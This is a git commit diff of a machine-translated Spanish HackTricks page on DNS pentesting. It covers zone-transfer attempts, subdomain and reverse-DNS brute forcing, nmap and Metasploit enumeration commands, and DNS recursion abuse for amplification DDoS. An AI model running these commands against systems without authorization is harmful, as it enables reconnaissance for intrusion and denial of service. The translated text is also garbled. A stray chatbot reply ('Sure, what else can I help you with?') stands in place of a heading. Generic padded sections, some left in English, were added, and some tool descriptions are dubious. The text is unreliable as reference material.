Translated ['network-services-pentesting/pentesting-dns.md', 'network-se

This commit is contained in:
Translator 2023-08-27 20:12:24 +00:00
parent 72c12d369e
commit c735efaae3
2 changed files with 642 additions and 326 deletions

View file

@ -7,8 +7,8 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -31,29 +31,29 @@ PORT STATE SERVICE REASON
5353/udp open zeroconf udp-response
53/udp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
```
### Diferentes servidores DNS
### Diferentes Servidores DNS
Información de [https://academy.hackthebox.com/module/112/section/1069](https://academy.hackthebox.com/module/112/section/1069)
| **Tipo de servidor** | **Descripción** |
| ------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Servidor raíz DNS` | Los servidores raíz del DNS son responsables de los dominios de nivel superior (`TLD`). Como última instancia, solo se solicitan si el servidor de nombres no responde. Por lo tanto, un servidor raíz es una interfaz central entre los usuarios y el contenido en Internet, ya que vincula el dominio y la dirección IP. La [Corporación de Internet para la Asignación de Nombres y Números](https://www.icann.org/) (`ICANN`) coordina el trabajo de los servidores de nombres raíz. Hay `13` servidores raíz en todo el mundo. |
| `Servidor de nombres autoritativo` | Los servidores de nombres autoritativos tienen autoridad sobre una zona particular. Solo responden a consultas de su área de responsabilidad y su información es vinculante. Si un servidor de nombres autoritativo no puede responder a la consulta de un cliente, el servidor de nombres raíz se hace cargo en ese momento. |
| `Servidor de nombres no autoritativo` | Los servidores de nombres no autoritativos no son responsables de una zona DNS en particular. En su lugar, recopilan información sobre zonas DNS específicas ellos mismos, lo que se hace mediante consultas DNS recursivas o iterativas. |
| `Servidor DNS en caché` | Los servidores DNS en caché almacenan en caché información de otros servidores de nombres durante un período especificado. El servidor de nombres autoritativo determina la duración de este almacenamiento. |
| `Servidor de reenvío` | Los servidores de reenvío realizan solo una función: reenvían consultas DNS a otro servidor DNS. |
| `Resolver` | Los resolutores no son servidores DNS autoritativos, pero realizan la resolución de nombres localmente en la computadora o en el enrutador. |
| **Tipo de Servidor** | **Descripción** |
| ------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Servidor Raíz DNS` | Los servidores raíz del DNS son responsables de los dominios de nivel superior (`TLD`). Como última instancia, solo se solicitan si el servidor de nombres no responde. Por lo tanto, un servidor raíz es una interfaz central entre los usuarios y el contenido en Internet, ya que vincula el dominio y la dirección IP. La [Corporación de Internet para la Asignación de Nombres y Números](https://www.icann.org/) (`ICANN`) coordina el trabajo de los servidores raíz. Hay `13` servidores raíz en todo el mundo. |
| `Servidor de Nombres Autoritativo` | Los servidores de nombres autoritativos tienen autoridad sobre una zona en particular. Solo responden consultas de su área de responsabilidad y su información es vinculante. Si un servidor de nombres autoritativo no puede responder a la consulta de un cliente, el servidor de nombres raíz se hace cargo en ese momento. |
| `Servidor de Nombres No Autoritativo` | Los servidores de nombres no autoritativos no son responsables de una zona DNS en particular. En cambio, recopilan información sobre zonas DNS específicas ellos mismos, lo cual se hace mediante consultas DNS recursivas o iterativas. |
| `Servidor de Caché DNS` | Los servidores de caché DNS almacenan en caché información de otros servidores de nombres durante un período especificado. La duración de este almacenamiento la determina el servidor de nombres autoritativo. |
| `Servidor de Reenvío` | Los servidores de reenvío solo realizan una función: reenvían consultas DNS a otro servidor DNS. |
| `Resolver` | Los resolutores no son servidores DNS autoritativos, pero realizan la resolución de nombres localmente en la computadora o en el enrutador. |
## Enumeración
### **Banner Grabbing**
### **Obtención de Banners**
DNS no tiene un "banner" para capturar. El equivalente más cercano es una consulta mágica para `version.bind. CHAOS TXT`, que funcionará en la mayoría de los servidores BIND.\
Puede realizar esta consulta utilizando `dig`:
DNS no tiene un "banner" para obtener. Lo más parecido es una consulta mágica para `version.bind. CHAOS TXT`, que funcionará en la mayoría de los servidores BIND.\
Puedes realizar esta consulta usando `dig`:
```bash
dig version.bind CHAOS TXT @DNS
```
Si eso no funciona, puedes usar técnicas de fingerprinting para determinar la versión del servidor remoto -- la herramienta [`fpdns`](https://github.com/kirei/fpdns) es una opción para eso, pero hay otras.
Si eso no funciona, puedes utilizar técnicas de fingerprinting para determinar la versión del servidor remoto -- la herramienta [`fpdns`](https://github.com/kirei/fpdns) es una opción para eso, pero hay otras.
También puedes obtener el banner con un script de **nmap**:
```
@ -67,13 +67,13 @@ dig any victim.com @<DNS_IP>
```
### **Transferencia de Zona**
Este procedimiento se abrevia como `Asynchronous Full Transfer Zone` (`AXFR`).
Este procedimiento se abrevia como `Transferencia de Zona Asincrónica Completa` (`AXFR`).
```bash
dig axfr @<DNS_IP> #Try zone transfer without domain
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
fierce --domain <DOMAIN> --dns-servers <DNS_IP> #Will try toperform a zone transfer against every authoritative name server and if this doesn'twork, will launch a dictionary attack
```
Sure, what else can I help you with?
### Más información
```bash
dig ANY @<DNS_IP> <DOMAIN> #Any information
dig A @<DNS_IP> <DOMAIN> #Regular DNS request
@ -86,7 +86,79 @@ dig -x 2a00:1450:400c:c06::93 @<DNS_IP> #reverse IPv6 lookup
#Use [-p PORT] or -6 (to use ivp6 address of dns)
```
#### Automatización
Automatización es el proceso de realizar tareas de forma automática, sin intervención humana. En el contexto de la pentesting de servicios de red, la automatización puede ser utilizada para realizar pruebas de penetración en los servicios DNS.
#### Escaneo de DNS
El escaneo de DNS es una técnica utilizada para descubrir información sobre los servidores DNS de un objetivo. Esto puede incluir la identificación de servidores DNS autorizados, registros de zona, registros de recursos y otros detalles relacionados con la configuración del DNS.
#### Enumeración de DNS
La enumeración de DNS es el proceso de recopilar información sobre los registros DNS de un objetivo. Esto puede incluir la obtención de registros de zona, registros de recursos, registros de correo y otros detalles relacionados con la configuración del DNS.
#### Transferencia de zona DNS
La transferencia de zona DNS es una operación que permite a un servidor DNS obtener una copia completa de la zona DNS de otro servidor DNS. Esto puede ser utilizado por un atacante para obtener información sensible sobre la configuración del DNS de un objetivo.
#### Envenenamiento de caché DNS
El envenenamiento de caché DNS es una técnica utilizada para corromper la caché de un servidor DNS con información falsa. Esto puede ser utilizado por un atacante para redirigir el tráfico de red a servidores maliciosos o para realizar ataques de phishing.
#### Amplificación de DNS
La amplificación de DNS es una técnica utilizada para amplificar el tráfico de red mediante consultas DNS maliciosas. Esto puede ser utilizado por un atacante para realizar ataques de denegación de servicio (DoS) al saturar la red del objetivo con respuestas DNS amplificadas.
#### Ataques de fuerza bruta DNS
Los ataques de fuerza bruta DNS son ataques en los que un atacante intenta adivinar o descubrir información sensible sobre los registros DNS de un objetivo mediante la prueba de diferentes combinaciones de nombres de dominio o direcciones IP.
#### Ataques de envenenamiento de caché DNS
Los ataques de envenenamiento de caché DNS son ataques en los que un atacante corrompe la caché de un servidor DNS con información falsa. Esto puede ser utilizado para redirigir el tráfico de red a servidores maliciosos o para realizar ataques de phishing.
#### Ataques de denegación de servicio DNS
Los ataques de denegación de servicio DNS son ataques en los que un atacante intenta saturar la red del objetivo con consultas DNS maliciosas, lo que resulta en la interrupción del servicio DNS y la incapacidad de los usuarios para acceder a los recursos de red.
#### Ataques de secuestro de zona DNS
Los ataques de secuestro de zona DNS son ataques en los que un atacante obtiene el control de la zona DNS de un objetivo y redirige el tráfico de red a servidores maliciosos. Esto puede ser utilizado para interceptar comunicaciones o realizar ataques de phishing.
```bash
for sub in $(cat <WORDLIST>);do dig $sub.<DOMAIN> @<DNS_IP> | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done
dnsenum --dnsserver <DNS_IP> --enum -p 0 -s 0 -o subdomains.txt -f <WORDLIST> <DOMAIN>
```
#### Usando nslookup
`nslookup` is a command-line tool used to query DNS (Domain Name System) servers to obtain information about domain names, IP addresses, and other DNS records. It is commonly used in network services pentesting to gather information about a target's DNS infrastructure.
To use `nslookup`, open a terminal and type `nslookup` followed by the domain name or IP address you want to query. By default, `nslookup` will display the IP address of the queried domain name.
For example, to query the IP address of the domain `example.com`, you would type:
```
nslookup example.com
```
`nslookup` can also be used to query specific types of DNS records, such as MX (Mail Exchanger) records or NS (Name Server) records. To do this, you can use the `-type` option followed by the record type.
For example, to query the MX records of `example.com`, you would type:
```
nslookup -type=mx example.com
```
`nslookup` can also be used to perform reverse DNS lookups by querying the IP address instead of the domain name. To do this, simply type the IP address instead of the domain name.
For example, to perform a reverse DNS lookup on the IP address `192.168.0.1`, you would type:
```
nslookup 192.168.0.1
```
`nslookup` provides a simple and straightforward way to gather information about a target's DNS infrastructure during a network services pentest. By querying DNS servers, you can obtain valuable information that can be used to identify potential vulnerabilities or misconfigurations.
```bash
nslookup
> SERVER <IP_DNS> #Select dns server
@ -94,15 +166,53 @@ nslookup
> <IP_MACHINE> #Reverse lookup of a machine, maybe...
```
### Módulos útiles de Metasploit
Metasploit es una herramienta de prueba de penetración ampliamente utilizada que ofrece una amplia gama de módulos para realizar pruebas de seguridad en sistemas y redes. A continuación se presentan algunos módulos útiles de Metasploit que pueden ser utilizados en pruebas de penetración relacionadas con servicios de red:
- **`auxiliary/scanner/dns/dns_cache_snoop`**: Este módulo permite realizar un snoop en la caché DNS de un servidor para obtener información sensible, como registros DNS previamente consultados.
- **`auxiliary/scanner/dns/dns_enum`**: Este módulo se utiliza para enumerar registros DNS en un dominio específico. Puede ayudar a identificar subdominios y obtener información sobre los registros DNS asociados.
- **`auxiliary/scanner/dns/dns_forward_lookup`**: Este módulo realiza una búsqueda de DNS hacia adelante para obtener información sobre los registros DNS asociados a un dominio o dirección IP específica.
- **`auxiliary/scanner/dns/dns_reverse_lookup`**: Este módulo realiza una búsqueda de DNS inversa para obtener información sobre los nombres de dominio asociados a una dirección IP específica.
- **`auxiliary/scanner/dns/dns_srv_enum`**: Este módulo se utiliza para enumerar registros de servicio (SRV) DNS en un dominio específico. Puede ayudar a identificar servicios y obtener información sobre los registros SRV asociados.
- **`auxiliary/scanner/dns/dns_wildcard_enum`**: Este módulo se utiliza para enumerar subdominios utilizando una técnica de búsqueda de comodines en un dominio específico.
Estos son solo algunos ejemplos de los módulos útiles de Metasploit que pueden ser utilizados en pruebas de penetración relacionadas con servicios de red. Metasploit ofrece una amplia gama de módulos adicionales que pueden adaptarse a diferentes escenarios de prueba.
```bash
auxiliary/gather/enum_dns #Perform enumeration actions
```
### Scripts útiles de nmap
### Scripts de nmap útiles
Nmap es una herramienta de escaneo de red muy poderosa que se utiliza comúnmente en pruebas de penetración. Además de sus capacidades de escaneo básicas, Nmap también admite scripts personalizados que pueden ser utilizados para realizar pruebas más avanzadas. A continuación se presentan algunos scripts de Nmap útiles para pruebas de penetración de servicios DNS:
- **dns-brute.nse**: Este script realiza un ataque de fuerza bruta contra un servidor DNS para descubrir subdominios y registros DNS ocultos.
- **dns-cache-snoop.nse**: Este script explota la función de caché de un servidor DNS para revelar información confidencial, como registros DNS antiguos y subdominios.
- **dns-zone-transfer.nse**: Este script intenta realizar una transferencia de zona DNS desde un servidor DNS para obtener una lista completa de registros DNS y subdominios.
- **dns-recursion.nse**: Este script verifica si un servidor DNS permite consultas recursivas, lo que podría ser utilizado para realizar ataques de amplificación DNS.
- **dns-update.nse**: Este script intenta realizar una actualización de zona DNS en un servidor DNS para agregar o modificar registros DNS.
Estos scripts pueden ser ejecutados utilizando el comando `nmap` seguido del nombre del script y la dirección IP del servidor DNS objetivo.
```bash
#Perform enumeration actions
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
```
### DNS - Fuerza Bruta Inversa
La Fuerza Bruta Inversa es una técnica utilizada en pruebas de penetración para descubrir información sobre los registros DNS inversos de un objetivo. Los registros DNS inversos se utilizan para mapear direcciones IP a nombres de dominio.
En un ataque de Fuerza Bruta Inversa, el objetivo es enumerar todos los posibles nombres de dominio asociados a una dirección IP específica. Esto se logra enviando consultas DNS inversas a un servidor DNS y analizando las respuestas recibidas.
El proceso de Fuerza Bruta Inversa implica generar una lista de nombres de dominio posibles y enviar consultas DNS inversas para cada uno de ellos. Si el servidor DNS responde con un registro válido, se considera un éxito y se registra como una posible asociación entre la dirección IP y el nombre de dominio.
Este tipo de ataque puede revelar información sensible, como nombres de dominio internos, nombres de servidores, subdominios ocultos y otros detalles que pueden ser utilizados en futuros ataques. Por lo tanto, es importante que los administradores de sistemas aseguren adecuadamente sus registros DNS inversos y tomen medidas para mitigar este tipo de ataques.
```bash
dnsrecon -r 127.0.0.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -r 127.0.1.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
@ -110,10 +220,10 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
```
{% hint style="info" %}
Si logras encontrar subdominios que resuelven a direcciones IP internas, debes intentar realizar un ataque de fuerza bruta inversa a los servidores de nombres del dominio solicitando ese rango de IP.
Si logras encontrar subdominios que resuelven a direcciones IP internas, debes intentar realizar un ataque de fuerza bruta de DNS inverso a los servidores de nombres del dominio solicitando ese rango de IP.
{% endhint %}
Otra herramienta para hacerlo: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
Otra herramienta para hacer esto: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
Puedes consultar rangos de IP inversos en [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (esta herramienta también es útil con BGP).
@ -124,6 +234,20 @@ dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
dnscan -d <domain> -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
```
### Servidores de Active Directory
Active Directory (AD) es un servicio de directorio desarrollado por Microsoft que se utiliza para administrar y organizar los recursos de red en un entorno de red de Windows. Los servidores de Active Directory son servidores que alojan y ejecutan el servicio de directorio de Active Directory.
Durante una prueba de penetración, es importante identificar y evaluar los servidores de Active Directory en la red objetivo. Estos servidores son fundamentales para el funcionamiento de la infraestructura de red y, por lo tanto, pueden ser un objetivo atractivo para los atacantes.
Algunas técnicas comunes utilizadas para pentesting de servidores de Active Directory incluyen:
- Enumeración de usuarios y grupos: identificar los usuarios y grupos de Active Directory para obtener información sobre la estructura de la red y los posibles objetivos.
- Ataques de fuerza bruta: intentar adivinar las contraseñas de los usuarios de Active Directory mediante la prueba de diferentes combinaciones de contraseñas.
- Ataques de diccionario: utilizar diccionarios de contraseñas predefinidos para intentar adivinar las contraseñas de los usuarios de Active Directory.
- Ataques de inyección de comandos: aprovechar las vulnerabilidades de inyección de comandos para ejecutar comandos maliciosos en los servidores de Active Directory.
- Ataques de elevación de privilegios: buscar vulnerabilidades que permitan a un atacante elevar sus privilegios en los servidores de Active Directory y obtener un mayor acceso y control sobre la red.
Es importante realizar estas pruebas de penetración de manera ética y con el permiso del propietario de la red objetivo. El objetivo principal es identificar y remediar las posibles vulnerabilidades en los servidores de Active Directory para fortalecer la seguridad de la red.
```
dig -t _gc._tcp.lab.domain.com
dig -t _ldap._tcp.lab.domain.com
@ -133,33 +257,53 @@ nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='domain.com'"
```
### DNSSec
DNSSec (Domain Name System Security Extensions) es una extensión de seguridad para el protocolo DNS que proporciona autenticación y verificación de la integridad de los datos de DNS. DNSSec utiliza criptografía de clave pública para firmar digitalmente los registros de DNS y garantizar que no hayan sido modificados durante la transmisión. Esto ayuda a prevenir ataques de envenenamiento de caché DNS y garantiza que los usuarios sean redirigidos a los sitios web correctos. Los pentesters pueden utilizar herramientas como `dnssec-verify` para verificar si un dominio está configurado correctamente con DNSSec.
DNSSec (Domain Name System Security Extensions) es una extensión de seguridad para el sistema de nombres de dominio (DNS). Su objetivo principal es proteger el DNS contra ataques de envenenamiento de caché y falsificación de respuestas.
DNSSec utiliza criptografía de clave pública para garantizar la autenticidad e integridad de las respuestas DNS. Esto se logra mediante la firma digital de las respuestas DNS con claves privadas y la verificación de estas firmas utilizando las claves públicas correspondientes.
Al implementar DNSSec, se puede garantizar que las respuestas DNS no hayan sido modificadas en tránsito y que provengan de la fuente legítima. Esto ayuda a prevenir ataques como el envenenamiento de caché, donde un atacante puede redirigir el tráfico de DNS a servidores maliciosos.
Para realizar pruebas de penetración en DNSSec, se pueden utilizar herramientas como `dnssec-verify` y `dnssec-dsfromkey` para verificar la configuración y la cadena de confianza de DNSSec en un dominio específico.
Es importante tener en cuenta que DNSSec no proporciona confidencialidad de los datos transmitidos a través del DNS. Si se requiere confidencialidad, se debe utilizar una capa adicional de cifrado, como DNS sobre TLS (DoT) o DNS sobre HTTPS (DoH).
```bash
#Query paypal subdomains to ns3.isc-sns.info
nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal.com ns3.isc-sns.info
#Query paypal subdomains to ns3.isc-sns.info
nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal.com ns3.isc-sns.info
```
### IPv6
Realizar fuerza bruta utilizando solicitudes "AAAA" para recopilar las direcciones IPv6 de los subdominios.
Realizar un ataque de fuerza bruta utilizando solicitudes "AAAA" para recopilar las direcciones IPv6 de los subdominios.
```bash
dnsdict6 -s -t <domain>
```
# Bruteforce de DNS inverso usando direcciones IPv6
# Pentesting DNS
El DNS inverso es un proceso que implica la resolución de una dirección IP en un nombre de dominio. En lugar de buscar la dirección IP de un nombre de dominio, el DNS inverso busca el nombre de dominio de una dirección IP. En este caso, se trata de un ataque de fuerza bruta en el que se intenta adivinar el nombre de dominio correspondiente a una dirección IPv6.
## Bruteforce reverse DNS in using IPv6 addresses
Para llevar a cabo este ataque, se puede utilizar una herramienta de fuerza bruta como `dnsrevenum6`. Esta herramienta se utiliza para realizar una búsqueda inversa de DNS en direcciones IPv6. La herramienta utiliza una lista de nombres de dominio y realiza una búsqueda inversa de DNS en cada dirección IPv6 en la lista.
In some cases, during a penetration test, it may be necessary to perform a reverse DNS lookup on IPv6 addresses. This can be useful to gather information about the target network and identify potential vulnerabilities.
El objetivo de este ataque es encontrar nombres de dominio que no estén protegidos por el DNSSEC. Si se encuentra un nombre de dominio que no esté protegido por el DNSSEC, se puede utilizar para llevar a cabo ataques de phishing o para realizar ataques de suplantación de identidad.
To bruteforce reverse DNS in using IPv6 addresses, you can follow these steps:
Es importante tener en cuenta que este tipo de ataque puede ser detectado por los sistemas de seguridad de red. Por lo tanto, se recomienda utilizar esta técnica con precaución y sólo en entornos controlados y autorizados.
1. **Enumerate IPv6 addresses**: Use various techniques to identify IPv6 addresses associated with the target network. This can include scanning the network for live hosts, analyzing DNS records, or using tools like `nmap` or `masscan`.
2. **Generate possible domain names**: Once you have a list of IPv6 addresses, generate possible domain names based on the target's domain naming convention. This can include using common subdomains like `www`, `mail`, `ftp`, or any other subdomains that are commonly used by the target organization.
3. **Perform reverse DNS lookup**: Use a tool like `dig` or `nslookup` to perform a reverse DNS lookup on each IPv6 address and check if it resolves to any domain name. This can be done by querying the PTR record for each IPv6 address.
4. **Analyze the results**: Analyze the results of the reverse DNS lookup to identify any potential misconfigurations or vulnerabilities. Look for domain names that do not match the target's naming convention or any unexpected domain names that may indicate a security issue.
5. **Exploit the vulnerabilities**: If any vulnerabilities are identified, further exploit them to gain unauthorized access or gather additional information about the target network. This can include performing DNS zone transfers, conducting DNS cache poisoning attacks, or exploiting misconfigured DNS servers.
By following these steps, you can bruteforce reverse DNS in using IPv6 addresses and gather valuable information about the target network. This information can be used to identify potential security weaknesses and improve the overall security posture of the target organization.
Remember to always obtain proper authorization before performing any penetration testing activities and to comply with all applicable laws and regulations.
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
### DNS Recursion DDoS
Si la **recursión DNS está habilitada**, un atacante podría **falsificar** el **origen** en el paquete UDP para hacer que el **DNS envíe la respuesta al servidor víctima**. Un atacante podría abusar de los tipos de registro **ANY** o **DNSSEC** ya que suelen tener las respuestas más grandes.\
La forma de **verificar** si un DNS admite **recursión** es consultar un nombre de dominio y **verificar** si la bandera "ra" (_recursión disponible_) está en la respuesta:
Si la **recursión DNS está habilitada**, un atacante podría **falsificar** el **origen** en el paquete UDP para hacer que el **DNS envíe la respuesta al servidor víctima**. Un atacante podría abusar de los tipos de registros **ANY** o **DNSSEC** ya que suelen tener respuestas más grandes.\
La forma de **verificar** si un DNS admite **recursión** es consultar un nombre de dominio y **verificar** si la **bandera "ra"** (_recursión disponible_) está en la respuesta:
```bash
dig google.com A @<IP>
```
@ -180,7 +324,7 @@ dig google.com A @<IP>
### Correo a una cuenta inexistente
Del libro: Evaluación de la seguridad de la red (3ª edición)
Del libro: Evaluación de seguridad de redes (3ª edición)
Simplemente enviar un mensaje de correo electrónico a una dirección inexistente en un dominio objetivo a menudo revela información útil de la red interna a través de una _notificación de no entrega_ (NDN).
```
@ -192,11 +336,11 @@ blah@nintendo.com
Original message headers:
Received: from ONERDEDGE02.one.nintendo.com (10.13.20.35) by
onerdexch08.one.nintendo.com (10.13.30.39) with Microsoft SMTP Server (TLS)
id 14.3.174.1; Sat, 26 Apr 2014 16:52:22 -0700
onerdexch08.one.nintendo.com (10.13.30.39) with Microsoft SMTP Server (TLS)
id 14.3.174.1; Sat, 26 Apr 2014 16:52:22 -0700
Received: from barracuda.noa.nintendo.com (205.166.76.35) by
ONERDEDGE02.one.nintendo.com (10.13.20.35) with Microsoft SMTP Server (TLS)
id 14.3.174.1; Sat, 26 Apr 2014 16:51:22 -0700
ONERDEDGE02.one.nintendo.com (10.13.20.35) with Microsoft SMTP Server (TLS)
id 14.3.174.1; Sat, 26 Apr 2014 16:51:22 -0700
X-ASG-Debug-ID: 1398556333-0614671716199b0d0001-zOQ9WJ
Received: from gateway05.websitewelcome.com (gateway05.websitewelcome.com [69.93.154.37]) by
barracuda.noa.nintendo.com with ESMTP id xVNPkwaqGgdyH5Ag for <blah@nintendo.com>; Sat,
@ -208,7 +352,7 @@ Los siguientes datos en esta transcripción son útiles:
* Nombres de host internos, direcciones IP y diseño de subdominios
* El servidor de correo está ejecutando Microsoft Exchange Server 2010 SP3
* Se utiliza un dispositivo de Barracuda Networks para realizar la filtración de contenido
* Se utiliza un dispositivo de Barracuda Networks para realizar filtrado de contenido
## Archivos de configuración
```
@ -236,56 +380,56 @@ Port_Number: 53 #Comma separated if there is more than one.
Protocol_Description: Domain Name Service #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for DNS
Note: |
#These are the commands I run every time I see an open DNS port
Name: Notes
Description: Notes for DNS
Note: |
#These are the commands I run every time I see an open DNS port
dnsrecon -r 127.0.0.0/24 -n {IP} -d {Domain_Name}
dnsrecon -r 127.0.1.0/24 -n {IP} -d {Domain_Name}
dnsrecon -r {Network}{CIDR} -n {IP} -d {Domain_Name}
dig axfr @{IP}
dig axfr {Domain_Name} @{IP}
nslookup
SERVER {IP}
127.0.0.1
{IP}
Domain_Name
exit
dnsrecon -r 127.0.0.0/24 -n {IP} -d {Domain_Name}
dnsrecon -r 127.0.1.0/24 -n {IP} -d {Domain_Name}
dnsrecon -r {Network}{CIDR} -n {IP} -d {Domain_Name}
dig axfr @{IP}
dig axfr {Domain_Name} @{IP}
nslookup
SERVER {IP}
127.0.0.1
{IP}
Domain_Name
exit
https://book.hacktricks.xyz/pentesting/pentesting-dns
https://book.hacktricks.xyz/pentesting/pentesting-dns
Entry_2:
Name: Banner Grab
Description: Grab DNS Banner
Command: dig version.bind CHAOS TXT @DNS
Name: Banner Grab
Description: Grab DNS Banner
Command: dig version.bind CHAOS TXT @DNS
Entry_3:
Name: Nmap Vuln Scan
Description: Scan for Vulnerabilities with Nmap
Command: nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" {IP}
Name: Nmap Vuln Scan
Description: Scan for Vulnerabilities with Nmap
Command: nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" {IP}
Entry_4:
Name: Zone Transfer
Description: Three attempts at forcing a zone transfer
Command: dig axfr @{IP} && dix axfr @{IP} {Domain_Name} && fierce --dns-servers {IP} --domain {Domain_Name}
Name: Zone Transfer
Description: Three attempts at forcing a zone transfer
Command: dig axfr @{IP} && dix axfr @{IP} {Domain_Name} && fierce --dns-servers {IP} --domain {Domain_Name}
Entry_5:
Name: Active Directory
Description: Eunuerate a DC via DNS
Command: dig -t _gc._{Domain_Name} && dig -t _ldap._{Domain_Name} && dig -t _kerberos._{Domain_Name} && dig -t _kpasswd._{Domain_Name} && nmap --script dns-srv-enum --script-args "dns-srv-enum.domain={Domain_Name}"
Name: Active Directory
Description: Eunuerate a DC via DNS
Command: dig -t _gc._{Domain_Name} && dig -t _ldap._{Domain_Name} && dig -t _kerberos._{Domain_Name} && dig -t _kpasswd._{Domain_Name} && nmap --script dns-srv-enum --script-args "dns-srv-enum.domain={Domain_Name}"
Entry_6:
Name: consolesless mfs enumeration
Description: DNS enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
Name: consolesless mfs enumeration
Description: DNS enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
```
<figure><img src="../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR Security Conference**](https://www.dragonjarcon.org/) es un evento internacional de ciberseguridad con más de una década de existencia que se llevará a cabo los días 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento técnico de gran contenido en el que se presentan las últimas investigaciones en español, lo que atrae a hackers e investigadores de todo el mundo.\
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
[**DragonJAR Security Conference is an international cybersecurity event**](https://www.dragonjarcon.org/) with over a decade of history that will take place on September 7th and 8th, 2023 in Bogotá, Colombia. It is a highly technical event where the latest research in Spanish is presented, attracting hackers and researchers from around the world.\
Register now at the following link and don't miss out on this great conference!:
{% embed url="https://www.dragonjarcon.org/" %}
@ -293,10 +437,10 @@ Entry_6:
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
